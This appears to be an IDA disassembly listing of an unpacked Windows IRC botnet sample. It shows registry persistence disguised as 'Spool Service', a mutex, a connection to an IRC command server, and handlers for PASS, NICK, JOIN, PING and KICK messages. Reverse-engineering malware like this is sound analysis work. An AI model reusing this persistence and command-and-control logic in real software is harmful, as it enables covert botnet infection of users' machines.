;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : FEF1EAD5FB19B69F66D9BBEED688AC4B
; File Name : u:\work\fef1ead5fb19b69f66d9bbeed688ac4b_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000FF000 (1044480.)
; Section size in file : 000FF000 (1044480.)
; Offset to raw data for section: 00001000
; Flags F0000040: Data Shareable Executable Readable Writable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp0 segment para public 'CODE' use32
assume cs:_nsp0
;org 401000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: .nsp0:00401074p
; .nsp0:00418B23p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429058
xor esi, esi
mov ebx, offset aSpoolService ; "Spool Service"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4D11A4 ; RegCreateKeyExA
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41B890
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4D1214 ; RegSetValueExA
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4D1154 ; RegDeleteValueA
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4D11CC ; RegCloseKey
add edi, 8
cmp edi, offset dword_429070
jl short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; ---------------------------------------------------------------------------
loc_401070: ; CODE XREF: .nsp0:00401086j
push dword ptr [esp+4]
call sub_401000
pop ecx
push dword_429050
call dword_427064 ; Sleep
jmp short loc_401070
; =============== S U B R O U T I N E =======================================
sub_401088 proc near ; CODE XREF: sub_4010C3+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010BD
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_4010A1: ; CODE XREF: sub_401088+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_427238[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_4010A1
pop edi
pop ebx
loc_4010BD: ; CODE XREF: sub_401088+Ej
mov eax, esi
pop esi
not eax
retn
sub_401088 endp
; =============== S U B R O U T I N E =======================================
sub_4010C3 proc near ; CODE XREF: .nsp0:00416C4Cp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41BBCB
mov [esp+10h+var_10], offset dword_429070
push [esp+10h+arg_0]
mov esi, eax
call sub_41BBB8
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_401112
loc_4010E8: ; CODE XREF: sub_4010C3+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_401116
inc ebx
push ebx
push esi
call sub_41BA78
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_401112
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41B990
add esp, 10h
jmp short loc_4010E8
; ---------------------------------------------------------------------------
loc_401112: ; CODE XREF: sub_4010C3+23j
; sub_4010C3+39j
xor eax, eax
jmp short loc_401131
; ---------------------------------------------------------------------------
loc_401116: ; CODE XREF: sub_4010C3+29j
dec ebx
push ebx
push esi
call sub_401088
push esi
mov ebx, eax
call sub_41B961
push edi
call sub_41B90B
add esp, 10h
mov eax, ebx
loc_401131: ; CODE XREF: sub_4010C3+51j
pop edi
pop esi
pop ebx
retn
sub_4010C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401135 proc near ; DATA XREF: .nsp0:00401269o
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
arg_6A1474B8 = byte ptr 6A1474C0h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_44412C
call dword_4D1288 ; closesocket
call sub_40B1D7
call dword_4D1148 ; WSACleanup
call dword_4D1148 ; WSACleanup
mov ebx, dword_427064
push 64h
call ebx ; dword_427064
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BC40
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41BC40
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_443398
mov [ebp+var_28], 1
mov [ebp+var_24], di
call near ptr 0B40000h
dec ebp
lea eax, [ebp+var_158]
push esi
push eax
push edi
call near ptr 0B40000h
pop ebp
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call near ptr 0B40000h
cmp al, [ebp+arg_6A1474B8]
db 64h
call ebx ; dword_427064
push [ebp+var_10]
mov esi, dword_42706C
call esi ; dword_42706C
push [ebp+var_C]
call esi ; dword_42706C
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_443390
mov eax, [esp+10h+var_10]
mov large fs:0, eax
add esp, 8
push edi
call dword_427068 ; ExitProcess
pop edi
pop esi
pop ebx
loc_40121D: ; DATA XREF: .nsp0:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418F1D
pop ecx
mov dword_4D0F20, eax
pop ecx
retn
sub_401135 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401239 proc near ; DATA XREF: .nsp0:00429008o
jmp $+5
sub_401239 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40123E proc near
push 0FFFFh
push 539h
call sub_418F1D
pop ecx
mov dword_4D108C, eax
pop ecx
retn
sub_40123E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 98Ch
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-10h], ebx
mov dword ptr [ebp-0Ch], offset sub_401135
push dword ptr [ebp-0Ch]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4270A8
call esi ; dword_4270A8
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4D0F24, eax
call esi ; dword_4270A8
push eax
call sub_41BF88
pop ecx
call sub_409A6D
push 2
call dword_4D129C ; SetErrorMode
push 7530h
push offset aXxerooxx ; "XxerooxX"
push ebx
push ebx
call near ptr 0B40000h
pop esi
push eax
call near ptr 0B40000h
enter 23Dh, 1
; ---------------------------------------------------------------------------
db 2 dup(0), 75h
dd 0FF016A08h, 42706815h, 78858D00h, 50FFFFF7h, 20268h
dd 6015FF00h, 3B004D11h, 0F44589C3h, 5A6850Fh, 0BD800000h
dd 0FFFFF778h, 93850F02h, 33000005h, 79858AC0h, 3CFFFFF7h
dd 83850F02h, 0BE000005h, 104h, 0FC0C858Dh, 5056FFFFh
dd 73ECDFE8h, 858D8D00h, 0FFFFFD10h, 0E8535056h, 73ECD0h
dd 0C9E8505Bh, 0D10073ECh, 0F908858Dh, 8D50FFFFh, 0FFFA0885h
dd 8D5350FFh, 0FFFD1085h, 0E85053FFh, 1AD2Dh, 0F908858Dh
dd 8D50FFFFh, 0FFFA0885h, 0F86850FFh, 8D004301h, 0FFFB0885h
dd 0E85056FFh, 1ACBCh, 0FC0C858Dh, 8D50FFFFh, 0FFFD1085h
dd 29E850FFh, 830001ACh, 0C08530C4h, 1B8850Fh, 1D390000h
dd 4D1094h, 429100BEh, 56317400h, 0E9E8FF33h, 830001A4h
dd 745904E8h, 0ABE0E823h, 1A6A0001h, 0F9F75999h, 61C28056h
dd 91009788h, 0E8470042h, 1A4C8h, 5904E883h, 0DD72F83Bh
dd 0FC0C858Dh, 5056FFFFh, 0FE14858Dh, 0F068FFFFh, 50004301h
dd 1AB4DE8h, 10C48300h, 0FE14858Dh, 0FF50FFFFh, 42709815h
dd 0FFF88300h, 858D1274h, 0FFFFFE14h, 8068h, 0F1E85000h
dd 0E60073EBh, 7090358Bh, 858D0042h, 0FFFFFE14h, 858D5053h
dd 0FFFFFD10h, 0FF50FF33h, 75C085D6h, 8C15FF33h, 3B004270h
dd 832975FBh, 57420F8h, 7505F883h, 5F016A1Fh, 3A9868h
dd 6415FF00h, 8D004270h, 0FFFE1485h, 8D5053FFh, 0FFFD1085h
dd 0C7EB50FFh, 0FE14858Dh, 0E850FFFFh, 175D3h, 14858D59h
dd 6AFFFFFEh, 85E85007h, 9B0073EBh, 458D106Ah, 0E85053DCh
dd 1A7B8h, 858D446Ah, 0FFFFFF18h, 5053565Eh, 1A7A7E8h
dd 18C48300h, 0FF18B589h, 85C7FFFFh, 0FFFFFF24h, 443398h
dd 489D8966h, 6AFFFFFFh, 0B5895E01h, 0FFFFFF44h, 73EB3FE8h
dd 56505200h, 10000068h, 0EB32E800h, 8D260073h, 0FFFD108Dh
dd 8D5051FFh, 0FFFE1485h, 858D50FFh, 0FFFFF674h, 4301E468h
dd 47E85000h, 830001AAh, 458D14C4h, 858D50DCh, 0FFFFFF18h
dd 0C858D50h, 50FFFFFCh, 56286A53h, 74858D53h, 53FFFFF6h
dd 14858D50h, 50FFFFFEh, 73EAE3E8h, 0C085BF00h, 0C8682874h
dd 0FF000000h, 42706415h, 0DC75FF00h, 706C358Bh, 0D6FF0042h
dd 0FFE075FFh, 4815FFD6h, 53004D11h, 706815FFh, 3D830042h
dd 4E1514h, 0A1437E02h, 4E1518h, 0E80470FFh, 1A8C9h, 6AF08B59h
dd 95E856FFh, 3C0073EAh, 6C15FF56h, 0A1004270h, 4E1518h
dd 74085839h, 7D06819h, 15FF0000h, 427064h, 4E1518A1h
dd 870FF00h, 73EA6BE8h, 1D397A00h, 429090h, 1D391574h
dd 4D12C0h, 858D0D75h, 0FFFFFB08h, 0FA4EE850h, 8D59FFFFh
dd 0FFFF5C85h, 1C868FFh, 0E8500043h, 1A972h, 5C858D53h
dd 53FFFFFFh, 9A3CE850h, 858D0000h, 0FFFFFF5Ch, 41C8E850h
dd 80680001h, 5300000Bh, 4433A068h, 0A652E800h, 858D0001h
dd 0FFFFFF5Ch, 4301A468h, 37E85000h, 530001A9h, 0FF5C858Dh
dd 16AFFFFh, 9A00E850h, 0C4830000h, 8BF88B38h, 42707C35h
dd 0F8458D00h, 68535350h, 41A289h, 0D6FF5353h, 234FF69h
dd 0C33B0000h, 41348789h, 1B750044h, 708C15FFh, 8D500042h
dd 0FFFF5C85h, 16468FFh, 0E8500043h, 1A8E6h, 8D0CC483h
dd 0FFFF5C85h, 47E850FFh, 8D000141h, 0FFFF5C85h, 2404C7FFh
dd 430138h, 0A8C4E850h, 8D530001h, 0FFFF5C85h, 50016AFFh
dd 998DE8h, 14C48300h, 458DF88Bh, 535350F8h, 41AD3D68h
dd 0FF535300h, 34FF69D6h, 3B000002h, 348789C3h, 75004441h
dd 8C15FF1Bh, 50004270h, 0FF5C858Dh, 0FC68FFFFh, 50004300h
dd 1A879E8h, 0CC48300h, 0FF5C858Dh, 0E850FFFFh, 140DAh
dd 0FF5C858Dh, 4C7FFFFh, 4300D424h, 57E85000h, 530001A8h
dd 0FF5C858Dh, 16AFFFFh, 9920E850h, 0C4830000h, 8DF88B14h
dd 8D50F845h, 0FFFB0885h, 685053FFh, 401070h, 0D6FF5353h
dd 234FF69h, 0C33B0000h, 41348789h, 1B750044h, 708C15FFh
dd 8D500042h, 0FFFF5C85h, 9868FFh, 0E8500043h, 1A806h
dd 8D0CC483h, 0FFFF5C85h, 67E850FFh, 0E8000140h, 1A84Eh
dd 0B8687F6Ah, 68004290h, 4D0F2Ch, 10A41D89h, 45E8004Dh
dd 0A10001A5h, 429074h, 0ACBF3F6Ah, 68004D0Fh, 4290C8h
dd 107CA357h, 29E8004Dh, 6A0001A5h, 0FECBE3Fh, 0D068004Dh
dd 56004290h, 1A517E8h, 28C48300h, 10801D89h, 5D89004Dh
dd 0D81D39FCh, 75004D12h, 0EC458D16h, 15FF5053h, 4D112Ch
dd 775C085h, 753068h, 682CEB00h, 4D0F28h, 10A01D89h, 0DEE8004Dh
dd 83000000h, 458902F8h, 0BE840FF4h, 39000000h, 4D10A01Dh
dd 0FF037400h, 0B868FC4Dh, 0FF00000Bh, 42706415h, 0FC45FF00h
dd 6FC7D83h, 7D83A77Ch, 840F02F4h, 95h, 74F05D39h, 687F6A40h
dd 4290B8h, 4D0F2C68h, 0A492E800h, 74A10001h, 6A004290h
dd 90C8683Fh, 0A3570042h, 4D107Ch, 1A47BE8h, 683F6A00h
dd 4290D0h, 0A46EE856h, 0C4830001h, 0F05D8924h, 0FFFF55E9h
dd 0DC1D38FFh, 0F004290h, 0FFFF4984h, 687F6AFFh, 4290DCh
dd 4D0F2C68h, 0A446E800h, 78A10001h, 6A004290h, 90EC683Fh
dd 0A3570042h, 4D107Ch, 1A42FE8h, 683F6A00h, 4290F4h, 0A422E856h
dd 0C4830001h, 0F045C724h, 1, 0FFFF05E9h, 9945E8FFh, 15FF0000h
dd 4D1148h, 0C0335E5Fh, 10C2C95Bh
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018A1 proc near ; DATA XREF: .nsp0:00408081o
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_4018C6: ; CODE XREF: sub_4018A1+E6j
; sub_4018A1+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BC40
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4D11F0 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40AA54
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_4019F3
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BC40
push 0
lea eax, [ebp+var_2C]
push dword_4D1098
push dword_42909C
push eax
call sub_40AFA5
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_444138
push edi
push eax
call sub_41BCA0
add esp, 28h
push 6
push 1
push 2
call dword_4D1270 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_44412C[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4D1198 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40198C
push esi
call dword_4D1288 ; closesocket
call sub_40AA7D
push 7D0h
loc_401981: ; CODE XREF: sub_4018A1+146j
call dword_427064 ; Sleep
jmp loc_4018C6
; ---------------------------------------------------------------------------
loc_40198C: ; CODE XREF: sub_4018A1+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_430200
call sub_41581A
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401A09
add esp, 28h
mov edi, eax
push esi
call dword_4D1288 ; closesocket
test edi, edi
jz loc_4018C6
cmp edi, 1
jnz short loc_4019E9
push 0DBBA0h
jmp short loc_401981
; ---------------------------------------------------------------------------
loc_4019E9: ; CODE XREF: sub_4018A1+13Fj
cmp edi, 2
jz short loc_4019F7
jmp loc_4018C6
; ---------------------------------------------------------------------------
loc_4019F3: ; CODE XREF: sub_4018A1+5Aj
xor eax, eax
jmp short loc_401A03
; ---------------------------------------------------------------------------
loc_4019F7: ; CODE XREF: sub_4018A1+14Bj
push [ebp+var_34]
call sub_40B32A
pop ecx
push 2
pop eax
loc_401A03: ; CODE XREF: sub_4018A1+154j
pop edi
pop esi
leave
retn 4
sub_4018A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A09 proc near ; CODE XREF: sub_4018A1+123p
var_1990 = byte ptr -1990h
var_990 = byte ptr -990h
var_1C0 = byte ptr -1C0h
var_120 = byte ptr -120h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1990h
call sub_41C1D0
push ebx
xor ebx, ebx
cmp byte_4D109C, bl
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_120], bl
jz short loc_401A41
push offset byte_4D109C
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_40998C
add esp, 0Ch
loc_401A41: ; CODE XREF: sub_401A09+21j
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40AFA5
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41BF36
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4D1240 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401AAB
push [ebp+arg_0]
call dword_4D1288 ; closesocket
push 1388h
call dword_427064 ; Sleep
loc_401AA4: ; CODE XREF: sub_401A09+CCj
; sub_401A09+146j
xor eax, eax
loc_401AA6: ; CODE XREF: sub_401A09+166j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401AAB: ; CODE XREF: sub_401A09+85j
; sub_401A09+EBj ...
mov esi, 1000h
lea eax, [ebp+var_1990]
push esi
push ebx
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp+var_1990]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4D1208 ; recv
test eax, eax
jle short loc_401AA4
lea eax, [ebp+var_990]
push eax
lea eax, [ebp+var_1990]
push eax
call sub_41872B
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401AAB
lea edi, [ebp+var_990]
loc_401AFC: ; CODE XREF: sub_401A09+158j
push 1
pop esi
loc_401AFF: ; CODE XREF: sub_401A09+137j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_1C0]
push eax
lea eax, [ebp+var_120]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call loc_401B74
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401B42
push 7D0h
call dword_427064 ; Sleep
jmp short loc_401AFF
; ---------------------------------------------------------------------------
loc_401B42: ; CODE XREF: sub_401A09+12Aj
cmp esi, 0FFFFFFFDh
jz short loc_401B6C
cmp esi, 0FFFFFFFEh
jz short loc_401B68
cmp esi, 0FFFFFFFFh
jz loc_401AA4
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401AFC
jmp loc_401AAB
; ---------------------------------------------------------------------------
loc_401B68: ; CODE XREF: sub_401A09+141j
push 1
jmp short loc_401B6E
; ---------------------------------------------------------------------------
loc_401B6C: ; CODE XREF: sub_401A09+13Cj
push 2
loc_401B6E: ; CODE XREF: sub_401A09+161j
pop eax
jmp loc_401AA6
sub_401A09 endp
; ---------------------------------------------------------------------------
loc_401B74: ; CODE XREF: sub_401A09+11Dp
push ebp
mov ebp, esp
mov eax, 5D88h
call sub_41C1D0
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp-2C0h]
push ebx
push eax
mov dword ptr [ebp-0A8h], 3
mov [ebp-10h], ebx
mov [ebp-0A4h], ebx
mov [ebp-8], ebx
mov [ebp-4], ebx
mov [ebp-2C4h], ebx
call sub_41BC40
push 1Bh
lea eax, [ebp-338h]
push dword ptr [ebp+18h]
push eax
call sub_41BCA0
add esp, 18h
cmp [ebp+8], ebx
jz loc_401D6C
push esi
lea eax, [ebp-4488h]
push ebx
push eax
call sub_41BC40
dec esi
lea eax, [ebp-4488h]
push esi
push dword ptr [ebp+8]
push eax
call sub_41BCA0
lea eax, [ebp-4488h]
push offset asc_433690 ; " :"
push eax
call sub_41BFB0
mov [ebp-0Ch], eax
lea eax, [ebp-4488h]
push esi
push eax
lea eax, [ebp-4AF0h]
push eax
call sub_41BCA0
mov esi, offset asc_43368C ; " "
lea eax, [ebp-4AF0h]
push esi
push eax
call sub_41C794
add esp, 34h
mov [ebp-90h], eax
lea edi, [ebp-8Ch]
mov dword ptr [ebp-2C8h], 1Fh
loc_401C47: ; CODE XREF: .nsp0:00401C5Bj
push esi
push ebx
call sub_41C794
mov [edi], eax
pop ecx
add edi, 4
dec dword ptr [ebp-2C8h]
pop ecx
jnz short loc_401C47
mov edi, [ebp-90h]
cmp edi, ebx
jz loc_401D6C
mov esi, [ebp-8Ch]
cmp esi, ebx
jz loc_401D6C
push 100h
lea eax, [ebp-960h]
push ebx
push eax
call sub_41BC40
add esp, 0Ch
lea ecx, [ebp-14h]
push 1Fh
pop edx
loc_401C94: ; CODE XREF: .nsp0:00401CCCj
mov eax, [ecx]
cmp eax, ebx
jz short loc_401CC6
cmp byte ptr [eax], 2Dh
jnz short loc_401CCE
cmp [eax+2], bl
jnz short loc_401CCE
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov edi, [ebp-90h]
mov byte ptr [ebp+esi-960h], 1
mov esi, [ebp-8Ch]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401CC6: ; CODE XREF: .nsp0:00401C98j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401C94
loc_401CCE: ; CODE XREF: .nsp0:00401C9Dj
; .nsp0:00401CA2j
cmp [ebp-8EDh], bl
jz short loc_401CDD
mov dword ptr [ebp-8], 1
loc_401CDD: ; CODE XREF: .nsp0:00401CD4j
cmp [ebp-8F2h], bl
jz short loc_401CEF
mov [ebp-8], ebx
mov dword ptr [ebp-4], 1
loc_401CEF: ; CODE XREF: .nsp0:00401CE3j
cmp byte ptr [edi], 0Ah
jz short loc_401D29
push 7Fh
lea eax, [ebp-0E00h]
push edi
push eax
call sub_41BCA0
lea eax, [edi+1]
push 17h
push eax
lea eax, [ebp-0C0h]
push eax
call sub_41BCA0
lea eax, [ebp-0C0h]
push offset dword_42C2D0
push eax
call sub_41C794
add esp, 20h
loc_401D29: ; CODE XREF: .nsp0:00401CF2j
push edi
push offset aPing ; "PING"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_401D74
push esi
push offset aPongS ; "PONG %s\r\n"
push dword ptr [ebp+0Ch]
mov byte ptr [edi+1], 4Fh
call sub_40998C
mov eax, [ebp+28h]
add esp, 0Ch
cmp [eax], ebx
jnz short loc_401D6C
loc_401D56: ; CODE XREF: .nsp0:00401EF1j
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401D61: ; CODE XREF: .nsp0:0040211Aj
; .nsp0:004023D7j ...
push dword ptr [ebp+0Ch]
call sub_40998C
loc_401D69: ; CODE XREF: .nsp0:00404003j
; .nsp0:00404020j ...
add esp, 10h
loc_401D6C: ; CODE XREF: .nsp0:00401BCFj
; .nsp0:00401C65j ...
push 1
loc_401D6E: ; CODE XREF: .nsp0:00404558j
pop eax
loc_401D6F: ; CODE XREF: .nsp0:0040457Aj
; .nsp0:00406C98j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401D74: ; CODE XREF: .nsp0:00401D38j
push esi
push offset a001 ; "001"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_409944
push esi
push offset a005 ; "005"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_409944
push esi
push offset a302 ; "302"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_401DD9
push offset a@_6 ; "@"
push dword ptr [ebp-84h]
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6C
inc eax
push 9Fh
push eax
push dword ptr [ebp+24h]
loc_401DCF: ; CODE XREF: .nsp0:00401F8Ej
call sub_41BCA0
loc_401DD4: ; CODE XREF: .nsp0:00403706j
add esp, 0Ch
jmp short loc_401D6C
; ---------------------------------------------------------------------------
loc_401DD9: ; CODE XREF: .nsp0:00401DADj
push esi
push offset a433 ; "433"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_401E17
push ebx
push dword_4D1098
push dword_42909C
push dword ptr [ebp+18h]
call sub_40AFA5
push dword ptr [ebp+18h]
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
add esp, 1Ch
jmp loc_401D6C
; ---------------------------------------------------------------------------
loc_401E17: ; CODE XREF: .nsp0:00401DE8j
mov edi, [ebp+20h]
lea eax, [ebp-0E00h]
push eax
push edi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_401E37
mov dword ptr [ebp-0A4h], 1
loc_401E37: ; CODE XREF: .nsp0:00401E2Bj
push esi
push offset aKick ; "KICK"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_401EF6
cmp [edi], bl
jz loc_401ED4
push 7Fh
lea eax, [ebp-0E00h]
push edi
push eax
call sub_41BCA0
lea eax, [ebp-0C0h]
add esp, 0Ch
test eax, eax
jz short loc_401ED4
cmp [ebp-84h], ebx
jz short loc_401ED4
push dword ptr [ebp-84h]
lea eax, [ebp-0C0h]
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_401ED4
lea eax, [ebp-0C0h]
mov [edi], bl
push eax
lea eax, [ebp-2C0h]
push offset unk_43362C
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push dword ptr [ebp+0Ch]
call sub_40998C
lea eax, [ebp-2C0h]
push eax
call sub_4157A6
add esp, 20h
loc_401ED4: ; CODE XREF: .nsp0:00401E4Ej
; .nsp0:00401E6Ej ...
push dword ptr [ebp-84h]
push dword ptr [ebp+18h]
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_401D6C
mov eax, [ebp+28h]
mov [eax], ebx
jmp loc_401D56
; ---------------------------------------------------------------------------
loc_401EF6: ; CODE XREF: .nsp0:00401E46j
push esi
push offset aNick ; "NICK"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40202B
mov eax, [ebp-88h]
lea esi, [eax+1]
lea eax, [ebp-0E00h]
push eax
push edi
mov [ebp+2Ch], esi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_401F5D
lea eax, [ebp-0E00h]
push 21h
push eax
call sub_41C650
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+8], eax
jz short loc_401F5D
lea eax, [edi+1]
push esi
push eax
mov byte ptr [edi], 3Ah
call sub_41C550
push dword ptr [ebp+8]
add edi, 2
push edi
call sub_41C560
add esp, 10h
loc_401F5D: ; CODE XREF: .nsp0:00401F28j
; .nsp0:00401F3Fj
lea eax, [ebp-0C0h]
test eax, eax
jz loc_401D6C
cmp esi, ebx
jz loc_401D6C
push dword ptr [ebp+18h]
lea eax, [ebp-0C0h]
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_401F93
push 0Fh
push esi
push dword ptr [ebp+18h]
jmp loc_401DCF
; ---------------------------------------------------------------------------
loc_401F93: ; CODE XREF: .nsp0:00401F86j
mov edi, [ebp+20h]
xor esi, esi
loc_401F98: ; CODE XREF: .nsp0:00401FB9j
cmp [edi], bl
jz short loc_401FAF
lea eax, [ebp-0E00h]
push eax
push edi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_401FC0
loc_401FAF: ; CODE XREF: .nsp0:00401F9Aj
inc esi
add edi, 80h
cmp esi, 1
jl short loc_401F98
jmp loc_401D6C
; ---------------------------------------------------------------------------
